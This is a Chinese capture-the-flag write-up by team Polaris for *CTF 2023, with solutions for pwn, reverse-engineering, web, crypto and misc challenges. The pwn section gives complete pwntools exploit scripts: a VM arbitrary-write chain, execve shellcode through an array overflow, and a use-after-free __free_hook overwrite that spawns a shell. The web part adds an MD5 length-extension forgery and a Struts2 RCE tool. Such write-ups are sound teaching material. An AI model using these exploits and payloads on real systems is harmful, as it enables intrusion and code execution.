*CTF 2023 Writeup -Polaris战队

WriteUp 9个月前 admin
228 0 0
*CTF 2023 Writeup -Polaris战队

PWN

*CTF 2023 Writeup -Polaris战队

01

stvram

程序结构体如下:

00000000 vm struc ; (sizeof=0x80, mappedto_9)00000000 code dq ?                               ; offset00000008 code_end dq ?                           ; offset00000010 field_10 dq ?00000018 vector vector ?00000030 field_30 dq ?00000038 regs dd 14 dup(?)00000070 mem dq ?                                ; offset00000078 field_78 dd ?0000007C field_7C dd ?00000080 vm ends0000008000000000 ; ---------------------------------------------------------------------------0000000000000000 vector struc ; (sizeof=0x18, mappedto_13) ; XREF: vm/r00000000 _M_start dq ?                           ; offset00000008 _M_finish dq ?                          ; offset00000010 _M_end_of_storage dq ?00000018 vector ends

10功能号可以修改到vm->mem

实现任意地址读写。

unsigned __int64 __fastcall run_vm(vm *a1){        ...        case 10:          v38 = v2;          ++code;          v2 += 2;          a1->regs[a1->vector._M_start[v38]] = a1->vector._M_start[v38 + 1];          break;        ...}

利用脚本

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('61.147.171.105', 53185)
cmd = [10, 6, 10, 3, 7, 10, 10, 7, 7, 10, 10, 10, 7, 7, 7, 10, 6]sh.sendlineafter(b'command:n', ' '.join([str(v) for v in cmd]).encode() + b' 16')cost = [14, 0x404020, # 10        0, 0, # 6        1, 0x30910, # 10        0, 1, # 3        0, 0, # 7        14, 0x404070, # 10        0, 0x401270, # 10        0, 0, # 7        2, 1, # 7        14, 0x4040D0, # 10        0, 0x4040D8, # 10        1, 0x6873, # 10        0, 0, # 7        2, 1, # 7        1, 2, # 7        14, 0, # 10        0, 0, # 6        0xdeadbeef]
sh.sendlineafter(b'your cost:n', 'n'.join([str(v) for v in cost]).encode())
sh.interactive()
*CTF 2023 Writeup -Polaris战队

02

fcalc

数组溢出,恰好可以执行shellcode。

/*.bss:0000000000004060                               ; __int64 func_table[].bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+func_table dq 10h dup(?)                ; DATA XREF: sub_1384+69↑w.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+                                        ; main+2B7↑o.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+                                        ; sub_1384+77↑w.bss:00000000000040E0                               ; double *shellcode.bss:00000000000040E0 ?? ?? ?? ?? ?? ?? ?? ??       shellcode dq ?*/void __fastcall __noreturn main(int a1, char **a2, char **a3){    ...      if ( buf[i] <= 0x20 || buf[i] > 0x30 )      {        ...      }      else      {        ...        // .text:000000000000187A FF D0                         call    rax        ((void (*)(void))func_table[buf[i] - 0x20])();      }    ...}

利用代码

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='info')
sh = remote('61.147.171.105', 63236)
shellcode = asm('''    xor rsi, rsi    mul rsi
   push rax    mov rbx, 0x68732f2f6e69622f    push rbx
   mov rdi, rsp    mov al, 59
   syscall''')sh.sendafter(b'Enter your expression:n', b'1 1 0 '.ljust(0x10, b'0') + shellcode.ljust(0x40, b'0') + p64(0x3ff000000000beeb))
sh.interactive()
*CTF 2023 Writeup -Polaris战队

03

drop

*CTF 2023 Writeup -Polaris战队

只是粗略看下来源代码,发现没有 delete 功能,后来通过 gdb 调试发现

新创建的堆块的指针都是放在堆块上的

并且申请的堆块大小是根据字符串长度决定的。其中的 bubble 功能可以实现排序的功能,存在堆块的 free 操作,并且还是 UAF 漏洞,于是利用这个去 leak libc_base 和 打 free_hook

from pwn import *from struct import packfrom ctypes import *import base64#from LibcSearcher import *
def debug(c = 0):    if(c):        gdb.attach(p, c)    else:        gdb.attach(p)        pause()def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))#-----------------------------------------------------------------------------------------s = lambda data : p.send(data)sa  = lambda text,data  :p.sendafter(text, data)sl  = lambda data   :p.sendline(data)sla = lambda text,data  :p.sendlineafter(text, data)r   = lambda num=4096   :p.recv(num)rl  = lambda text   :p.recvuntil(text)pr = lambda num=4096 :print(p.recv(num))inter   = lambda        :p.interactive()l32 = lambda    :u32(p.recvuntil(b'xf7')[-4:].ljust(4,b'x00'))l64 = lambda    :u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))uu32    = lambda    :u32(p.recv(4).ljust(4,b'x00'))uu64    = lambda    :u64(p.recv(6).ljust(8,b'x00'))int16   = lambda data   :int(data,16)lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')p = remote('122.9.157.7', 50001)#p = gdb.debug('./pwn', 'b free')#p = gdb.debug('./pwn', 'b *0x401853')#p = remote('node3.anna.nssctf.cn', 28976)elf = ELF('./pwn')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(data):    sla(b'choice: n', b'1')    sla(b'item: n', data)def show(idx):    sla(b'choice: n', b'2')    sla(b'Index: n', str(idx))def edit(idx, data):    sla(b'choice: n', b'3')    sla(b'Index: n', str(idx))    sla(b'content: n', data)def free(idx):    sla(b'choice: n', b'5')    sla(b'Index: n', str(idx))def magic(n, idx):    sla(b'choice: n', b'4')    sla(b'is East)n', str(n))    sla(b'index: n', str(idx))
add(b'x04'*0x300) #index 0add(b'x03'*0x500) #index 1add(b'x01'*0x100) #index 2magic(1, 1)show(2)
libc_base = l64() - 0x70 - libc.sym['__malloc_hook']system, binsh = get_sb()free_hook = libc_base + libc.sym['__free_hook']
add(b'x04'*0x100) #index 3add(b'x03'*0x100) #index 4add(b'x05'*0x100) #index 5magic(1, 3)
edit(5, p64(free_hook - 8) + p64(0))add(b'a'*0x100)payload = b'/bin/shx00' + p64(system)payload = payload.ljust(0x100, b'a')add(payload)
lg('libc_base', libc_base)inter()
*CTF 2023 Writeup -Polaris战队
*CTF 2023 Writeup -Polaris战队

RE

*CTF 2023 Writeup -Polaris战队

01

flagfile

#include <stdio.h>#include <string.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <stdarg.h>#include <sys/param.h>#include <stdio.h>    /* Include that here, to make sure __P gets defined */#include <errno.h>#include <fcntl.h>    /* For open and flags */#include <stdint.h>
#define MAXDESC    64        /* max len of text description/MIME type */#define MAXMIME    80        /* max len of text MIME type */#define MAXstring 128    
union VALUETYPE {    uint8_t b;    uint16_t h;    uint32_t l;    uint64_t q;    uint8_t hs[2];    /* 2 bytes of a fixed-endian "short" */    uint8_t hl[4];    /* 4 bytes of a fixed-endian "long" */    uint8_t hq[8];    /* 8 bytes of a fixed-endian "quad" */    char s[MAXstring];    /* the search string or regex pattern */    unsigned char us[MAXstring];    uint64_t guid[2];    float f;    double d;};
struct magic {    /* Word 1 */    uint16_t cont_level;    /* level of ">" */    uint8_t flag;#define INDIR        0x01    /* if '(...)' appears */#define OFFADD        0x02    /* if '>&' or '>...(&' appears */#define INDIROFFADD    0x04    /* if '>&(' appears */#define UNSIGNED    0x08    /* comparison is unsigned */#define NOSPACE        0x10    /* suppress space character before output */#define BINTEST        0x20    /* test is for a binary type (set only                   for top-level tests) */#define TEXTTEST    0x40    /* for passing to file_softmagic */#define OFFNEGATIVE    0x80    /* relative to the end of file */
   uint8_t factor;
   /* Word 2 */    uint8_t reln;        /* relation (0=eq, '>'=gt, etc) */    uint8_t vallen;        /* length of string value, if any */    uint8_t type;        /* comparison type (FILE_*) */    uint8_t in_type;    /* type of indirection */#define             FILE_INVALID    0#define             FILE_BYTE    1#define                FILE_SHORT    2#define                FILE_DEFAULT    3#define                FILE_LONG    4#define                FILE_STRING    5#define                FILE_DATE    6#define                FILE_BESHORT    7#define                FILE_BELONG    8#define                FILE_BEDATE    9#define                FILE_LESHORT    10#define                FILE_LELONG    11#define                FILE_LEDATE    12#define                FILE_PSTRING    13#define                FILE_LDATE    14#define                FILE_BELDATE    15#define                FILE_LELDATE    16#define                FILE_REGEX    17#define                FILE_BESTRING16    18#define                FILE_LESTRING16    19#define                FILE_SEARCH    20#define                FILE_MEDATE    21#define                FILE_MELDATE    22#define                FILE_MELONG    23#define                FILE_QUAD    24#define                FILE_LEQUAD    25#define                FILE_BEQUAD    26#define                FILE_QDATE    27#define                FILE_LEQDATE    28#define                FILE_BEQDATE    29#define                FILE_QLDATE    30#define                FILE_LEQLDATE    31#define                FILE_BEQLDATE    32#define                FILE_FLOAT    33#define                FILE_BEFLOAT    34#define                FILE_LEFLOAT    35#define                FILE_DOUBLE    36#define                FILE_BEDOUBLE    37#define                FILE_LEDOUBLE    38#define                FILE_BEID3    39#define                FILE_LEID3    40#define                FILE_INDIRECT    41#define                FILE_QWDATE    42#define                FILE_LEQWDATE    43#define                FILE_BEQWDATE    44#define                FILE_NAME    45#define                FILE_USE    46#define                FILE_CLEAR    47#define                FILE_DER    48#define                FILE_GUID    49#define                FILE_OFFSET    50#define                FILE_NAMES_SIZE    51 /* size of array to contain all names */
#define IS_STRING(t)    ((t) == FILE_STRING ||     (t) == FILE_PSTRING ||     (t) == FILE_BESTRING16 ||     (t) == FILE_LESTRING16 ||     (t) == FILE_REGEX ||     (t) == FILE_SEARCH ||     (t) == FILE_INDIRECT ||     (t) == FILE_NAME ||     (t) == FILE_USE)
#define FILE_FMT_NONE 0#define FILE_FMT_NUM  1 /* "cduxXi" */#define FILE_FMT_STR  2 /* "s" */#define FILE_FMT_QUAD 3 /* "ll" */#define FILE_FMT_FLOAT 4 /* "eEfFgG" */#define FILE_FMT_DOUBLE 5 /* "eEfFgG" */
   /* Word 3 */    uint8_t in_op;        /* operator for indirection */    uint8_t mask_op;    /* operator for mask */#ifdef ENABLE_CONDITIONALS    uint8_t cond;        /* conditional type */#else    uint8_t dummy;#endif    uint8_t factor_op;#define        FILE_FACTOR_OP_PLUS    '+'#define        FILE_FACTOR_OP_MINUS    '-'#define        FILE_FACTOR_OP_TIMES    '*'#define        FILE_FACTOR_OP_DIV    '/'#define        FILE_FACTOR_OP_NONE    ''
#define                FILE_OPS    "&|^+-*/%"#define                FILE_OPAND    0#define                FILE_OPOR    1#define                FILE_OPXOR    2#define                FILE_OPADD    3#define                FILE_OPMINUS    4#define                FILE_OPMULTIPLY    5#define                FILE_OPDIVIDE    6#define                FILE_OPMODULO    7#define                FILE_OPS_MASK    0x07 /* mask for above ops */#define                FILE_UNUSED_1    0x08#define                FILE_UNUSED_2    0x10#define                FILE_OPSIGNED    0x20#define                FILE_OPINVERSE    0x40#define                FILE_OPINDIRECT    0x80
#ifdef ENABLE_CONDITIONALS#define                COND_NONE    0#define                COND_IF        1#define                COND_ELIF    2#define                COND_ELSE    3#endif /* ENABLE_CONDITIONALS */
   /* Word 4 */    int32_t offset;        /* offset to magic number */    /* Word 5 */    int32_t in_offset;    /* offset from indirection */    /* Word 6 */    uint32_t lineno;    /* line number in magic file */    /* Word 7,8 */    union {        uint64_t _mask;    /* for use with numeric and date types */        struct {            uint32_t _count;    /* repeat/line count */            uint32_t _flags;    /* modifier flags */        } _s;        /* for use with string types */    } _u;#define num_mask _u._mask#define str_range _u._s._count#define str_flags _u._s._flags    /* Words 9-24 */    union VALUETYPE value;    /* either number or string */    /* Words 25-40 */    char desc[MAXDESC];    /* description */    /* Words 41-60 */    char mimetype[MAXMIME]; /* MIME type */    /* Words 61-62 */    char apple[8];        /* APPLE CREATOR/TYPE */    /* Words 63-78 */    char ext[64];        /* Popular extensions */};
int main(int argc, char *argv[]){    int ffff = 0;    char buf[10000];    int fd = open("flag.mgc", 0);    read(fd, buf, 0x170 + 8);    struct magic a[100];    int index = 0;    long long test[1000];    memset(test, 0, 1000);    char flag[100];    while (read(fd, &a[index], sizeof(struct magic)) > 0)    {        index += 1;    }    for (int i = 0; i < index; i++)    {        struct magic temp = a[i];        printf("lineno: %dn", temp.lineno);        printf("type: %dn", temp.type);        printf("reln: %cn", temp.reln);        printf("in_offset: %dn", temp.in_offset);        if (((int)(temp.type)) == 1)        {            ffff = (temp.offset - 63) / 2 + 1;            printf("offset: %dn", (test[ffff]));            char ttt = ((temp.value.b) & 0xff) ^ ((temp._u._mask) & 0xff);            flag[test[ffff]] = ttt;        }        else        {            printf("offset: %dn", temp.offset);        }
       printf("b: %llxn", temp.value.b);        printf("q: %llxn", temp.value.q);        printf("_mask: %llxn", temp._u._mask);        printf("mask_op: %llxn", temp.mask_op);        printf("in_op: %llxn", temp.in_op);        long long tes = temp._u._mask ^ temp.value.q;        test[i] = tes;        if (temp.offset < 64)        {            printf("aaaa!!!!!!!!!!!!!n");        }        printf("n=======================n");    }    for (int i = 0; i < index; i++)    {        printf("%llx,", test[i]);    }    printf("nnn");    for (int i = 0; i < 40; i++)    {        printf("%c", flag[i]);    }}
*CTF 2023 Writeup -Polaris战队

02

GoGpt

GO逆向

异或+base64

*CTF 2023 Writeup -Polaris战队
*CTF 2023 Writeup -Polaris战队
xorkey=[ord(i) for i in "TcR@3t_3hp_5_G1H"]enc=[0x7e,0x20,0x06,0x06,0x48,0x17,0x37,0x73,0x1c,0x17,0x2f,0x61,0x00,0x74,0x5f,0x0b,0x06,0x1a,0x22,0x34,0x02,0x44,0x31,0x6c,0x5c,0x2f,0x19,0x60,0x11,0x66,0x10,0x35]for i in range(len(enc)):    enc[i]^=xorkey[i%16]print(bytes(enc))#b'*CTF{ch@tgpT_3nCRypt10n_4_FUN!!}'
*CTF 2023 Writeup -Polaris战队

03

ez_code

把文件后缀改成.ps1,使用ISE调试

*CTF 2023 Writeup -Polaris战队

输入代码然其解析

*CTF 2023 Writeup -Polaris战队
class chiper():    def __init__(self):        self.d = 0x87654321        k0 = 0x67452301        k1 = 0xefcdab89        k2 = 0x98badcfe        k3 = 0x10325476        self.k = [k0, k1, k2, k3]
   def e(self, n, v):        from ctypes import c_uint32
       def MX(z, y, total, key, p, e):            temp1 = (z.value >> 6 ^ y.value << 4) +                (y.value >> 2 ^ z.value << 5)            temp2 = (total.value ^ y.value) +                (key[(p & 3) ^ e.value] ^ z.value)            return c_uint32(temp1 ^ temp2)        key = self.k        delta = self.d        rounds = 6 + 52//n        total = c_uint32(0)        z = c_uint32(v[n-1])        e = c_uint32(0)
       while rounds > 0:            total.value += delta            e.value = (total.value >> 2) & 3            for p in range(n-1):                y = c_uint32(v[p+1])                v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value                z.value = v[p]            y = c_uint32(v[0])            v[n-1] = c_uint32(v[n-1] + MX(z, y, total,                              key, n-1, e).value).value            z.value = v[n-1]            rounds -= 1        return v
   def bytes2ints(self,cs:bytes)->list:        new_length=len(cs)+(8-len(cs)%8)%8        barray=cs.ljust(new_length,b'x00')        i=0        v=[]        while i < new_length:            v0 = int.from_bytes(barray[i:i+4], 'little')            v1 = int.from_bytes(barray[i+4:i+8], 'little')            v.append(v0)            v.append(v1)            i += 8        return v
def check(instr:str,checklist:list)->int:    length=len(instr)    if length%8:        print("Incorrect format.")        exit(1)    c=chiper()    v = c.bytes2ints(instr.encode())    output=list(c.e(len(v),v))    i=0    while(i<len(checklist)):        if i<len(output) and output[i]==checklist[i]:            i+=1        else:            break    if i==len(checklist):        return 1    return 0    
if __name__=="__main__":    ans=[1374278842, 2136006540, 4191056815, 3248881376]    # generateRes()    flag=input('Please input flag:')    res=check(flag,ans)    if res:        print("Congratulations, you've got the flag!")        print("Flag is *ctf{your_input}!")        exit(0)    else:        print('Nope,try again!')
#include"defs.h"#include <stdio.h>  #include <stdint.h>  #define DELTA 2271560481  #define MX (((z>>6^y<<4) + (y>>2^z<<5)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  
void btea(uint32_t* v, int n, uint32_t  key[4]){    uint32_t y, z, sum;    unsigned p, rounds, e;
   n = -n;    rounds = 6 + 52 / n;    sum = rounds * DELTA;    y = v[0];    do    {        e = (sum >> 2) & 3;        for (p = n - 1; p > 0; p--)        {            z = v[p - 1];            y = v[p] -= MX;        }
       z = v[n - 1];        y = v[0] -= MX;        sum -= DELTA;    } while (--rounds);
}
int main(){    uint32_t enc[] = { 1374278842, 2136006540, 4191056815, 3248881376,0 };    uint32_t  k[4] = { 1732584193, 4023233417, 2562383102, 271733878 };    btea((uint32_t*)(&enc), -4, k);    puts((char*)enc);    //yOUar3g0oD@tPw5H
}
*CTF 2023 Writeup -Polaris战队

WEB

*CTF 2023 Writeup -Polaris战队

01

jwt2struts

<?phphighlight_file(__FILE__);include "./secret_key.php";include "./salt.php";//$salt = XXXXXXXXXXXXXX // the salt include 14 characters//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df@$username = urldecode($_POST["username"]);@$password = urldecode($_POST["password"]);if (!empty($_COOKIE["digest"])) {    if ($username === "admin" && $password != "root") {         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {            die ("The secret_key is ". $secret_key);        }        else {            die ("Your cookies don't match up! STOP HACKING THIS SITE.");        }    }    else {        die ("no no no");    }}

不能直接拼接adminroot,这里可以打一个哈希长度扩展攻击。


知道salt和adminroot拼接后的md5值,可以把拼接后的字符串当成salt。


https://github.com/JoyChou93/md5-extension-attack


使用这个脚本

*CTF 2023 Writeup -Polaris战队
python2 md5pad.py e6ccbf12de9d33ec27a5bcfb6a3293df 111 23
*CTF 2023 Writeup -Polaris战队

POST:

username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%00%00%00%00%00%00%00111

cookies

digest=20b64bad6dfd095d5d7b14d5a6661795
*CTF 2023 Writeup -Polaris战队

拿到密钥

sk-he00lctf3r
*CTF 2023 Writeup -Polaris战队

伪造admin以后,跳转到一个登陆页面

根据提示,得知是struts2漏洞。


这里可以直接使用脚本进行rce。

*CTF 2023 Writeup -Polaris战队
java -jar .struts2_poc.jar
*CTF 2023 Writeup -Polaris战队
*CTF 2023 Writeup -Polaris战队

CRYPTO

*CTF 2023 Writeup -Polaris战队

01

ezCrypto

遍历得到rseed,根据题目反推出flag

import randomimport string
rseed = 0characters = string.printable[:-6]for rseed  in range(0, 1001):    random.seed(rseed)    random_sequence = random.sample(characters, len(characters))    map_string1 = ''.join(random_sequence)
   random.seed(rseed * 2)    random_sequence = random.sample(characters, len(characters))    map_string2 = ''.join(random_sequence)    if map_string2[:10] == '8K#Ttr@&5=':        print('rseed =', rseed)        break
random.seed(rseed * 3)random_sequence = random.sample(characters, len(characters))map_string3 = ''.join(random_sequence)

def re_xor(c, a, index: int):    return chr(((ord(a) + index) ^ ord(c)) - index)

cipher = "edT0O<jmZ`aP,>3/LZALI]~S=}NP=7zY"for i in range(0, len(cipher), 2):    hou = cipher[:-i]    hou = ''.join([map_string3[map_string1.index(h)] for h in hou])    hou = ''.join([map_string3[map_string2.index(h)] for h in hou])    if hou and hou[-1] in string.digits:        qian = cipher[-i:]        qian = ''.join([map_string3[map_string2.index(q)] for q in qian])        qian1 = qian[:len(qian)//2]        qian2 = ''.join([map_string3[map_string1.index(q)] for q in qian[len(qian)//2:]])        if qian1 == qian2:            qian = qian1            print(hou)            print(qian)            qian11 = qian[:(len(qian)-2)//2]            qian22 = qian[-(len(qian) - 2) // 2-1:-1]            print(qian11)            print(qian22)
           for c in characters:                index = 2                qian_ = ''                qian_ += c                try:                    for x in qian11:                        qian_ += re_xor(x, qian_[-1], index)                    if all([y  in string.ascii_letters+string.digits for y in qian_]):                        print(qian_+'3')                except:                    continue
           for c in characters:                index = 1                qian_ = ''                qian_ += c                try:                    for x in qian22:                        qian_ += re_xor(x, qian_[-1], index)                    if all([y  in string.ascii_letters+string.digits for y in qian_]):                        print(qian_+'0')                except:                    continue            print()
# cR7PtO5 ln4 s0m32 F1nD1# ~F3&)0# F4n3TrY0
# sixstars{TrY_F1nD_s0m3_F4n_ln_cR7PtO}
*CTF 2023 Writeup -Polaris战队

MISC

*CTF 2023 Writeup -Polaris战队

01

dead game

直接游戏玩通关即可

*CTF 2023 Writeup -Polaris战队

但这是一个fakeflag

通过三个碎片的拼接和fakeflag

尝试猜出flag

最终得到flag:*CTF{80867_K1115_81!zZ@Rd}

*CTF 2023 Writeup -Polaris战队

02

an old language

题目

*CTF 2023 Writeup -Polaris战队

题解

首先百度识图,可以找到类似的字体

*CTF 2023 Writeup -Polaris战队

点击可以看到相关字体介绍

*CTF 2023 Writeup -Polaris战队

字母表如下:

*CTF 2023 Writeup -Polaris战队

flag为*ctf{GIKRVZY}大写

*CTF 2023 Writeup -Polaris战队

03

snippingTools

这道题是关于最近发现的一个windows漏洞

https://www.tenable.com/plugins/nessus/177217

可以修复使用snippingTools裁剪过后的截图。

开始读题:

题目上说,Bob马上就恢复了图片,那就证明这道题一定是有工具能一把梭的,于是重心放在找工具上面

最后工具地址:


https://github.com/frankthetank-music/Acropalypse-Multi-Tool

然后再按照readme一步一步地配环境

就可以得到最后的flag:

*CTF 2023 Writeup -Polaris战队

得到flag

*CTF 2023 Writeup -Polaris战队

04

Increasing

一个简单的网络,按要求输入模型参数,使得第i个模型能将输入预测为i+1,写一个循环脚本,对第i个输入和输出进行训练,保存模型参数,大概跑50分钟,就能出来180个对应的模型,再转化为相应格式|分割模型,#分割参数,逗号分割参数索引和值。


按照这个思路跑出所有数的预测模型参数

*CTF 2023 Writeup -Polaris战队
import torchimport torch.nn as nnimport torch.optim as optim# from func_timeout import func_set_timeoutimport torchfrom torch.nn import initimport torch.nn as nnfrom copy import deepcopyimport math
model_num=181
def Net2Init(tmpnet):    for key in tmpnet.state_dict():        if('weight' in key):            init.zeros_(tmpnet.state_dict()[key])        else:            tmpnet.state_dict()[key][...] = 0    return tmpnet
def max_label(t):    labellist = t.tolist()[0]    maxnum = -10000    loc = 0    for j in range(len(labellist)):        if (maxnum < labellist[j]):            loc = j            maxnum = labellist[j]    return loc
class EasyNet(nn.Module):    def __init__(self):        super(EasyNet, self).__init__()        self.norm=nn.Softmax()        self.filter=nn.Linear(1,2)        self.bypass = nn.Linear(2,model_num,bias=False)
   def forward(self, x):        x=self.filter(x)        x=self.bypass(x)        x=self.norm(x)        return xres = []i = 0while(i < 181):    namelist=['filter.weight', 'filter.bias', 'bypass.weight']    weightlist=[]    net=EasyNet()    mydict=net.state_dict()    net=Net2Init(net)    for i1 in range(len(namelist)):        weightlist.append(mydict[namelist[i1]].tolist())    # 定义训练数据和标签        inputs = torch.tensor([i * 1.0]).reshape([1, 1])  # 输入数据    ss = [0.0 for i2 in range(181)]    ss[i+1] = 1.0    labels = torch.tensor([ss])  # 标签
   # 创建模型实例    net = EasyNet()
   # 定义损失函数和优化器    criterion = nn.MSELoss()    optimizer = optim.SGD(net.parameters(), lr=0.001)
   # 进行训练    for epoch in range(1000):        # 清空梯度        optimizer.zero_grad()        # 前向传播        outputs = net(inputs)        # print(outputs)        # print(labels)        # 计算损失        loss = criterion(outputs, labels)        # 反向传播和优化        loss.backward()        optimizer.step()    # 测试模型    tmp_input = torch.tensor([i * 1.0]).reshape([1, 1])  # 输入数据    prediction = net(tmp_input)  # 预测结果    # print(prediction)    # 判断是否满足要求,max_label(net(tmp_input)) == i+1    if max_label(prediction) == i+1:        ss = ''        filter_weight = net.state_dict()['filter.weight']        a = 0        c = 0        for b in range(2):            d = round(float(filter_weight[b][c]),4)            ss += f"{a},{b},{c},{d}#"        filter_bias = net.state_dict()['filter.bias']        a = 1        for b in range(2):            c = round(float(filter_bias[b]),4)            ss += f"{a},{b},{c}#"        bypass_weight = net.state_dict()['bypass.weight']        a = 2        for b in range(181):            for c in range(2):                d = round(float(bypass_weight[b][c]),5)                ss += f"{a},{b},{c},{d}#"        res.append(ss)        print(f"{i+1}done!")        i += 1
with open('res.txt','w') as f:    mmm = ''    for m in res:        mmm += m[:-1]        mmm += '|'    f.write(mmm)
from pwn import *p = remote('122.9.155.47',50001)with open('res.txt','r') as f:    im = f.read()    p.sendline(im[:-1])p.interactive()
*CTF 2023 Writeup -Polaris战队

05

MWM

根据提示,把模型所有的参数都乘上256转成字符

搜索copy字符找到

import torchimport torchvision.models as models
# 加载ResNet-50模型model = torch.load('resnet_mwm_new.pth')
# 将模型的所有参数乘以256for param in model.parameters():    param.data *= 256
# 将参数转换为字符,并保存到列表中param_str_list = []for param in model.parameters():    param_cpu = param.detach().cpu()    param_np = param_cpu.numpy()    param_str = ' '.join([chr(int(val)&0xff) for val in param_np.flatten()])    param_str_list.append(param_str)
# 将参数字符串拼接成一个字符串param_str = "n".join(param_str_list)
# 保存参数字符串到文件,使用UTF-8编码with open('res.txt', 'w', encoding='utf-8') as f:    f.write(param_str)

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

*CTF 2023 Writeup -Polaris战队
*CTF 2023 Writeup -Polaris战队

原文始发于微信公众号(星盟安全):*CTF 2023 Writeup -Polaris战队

版权声明:admin 发表于 2023年8月2日 下午5:01。
转载请注明:*CTF 2023 Writeup -Polaris战队 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...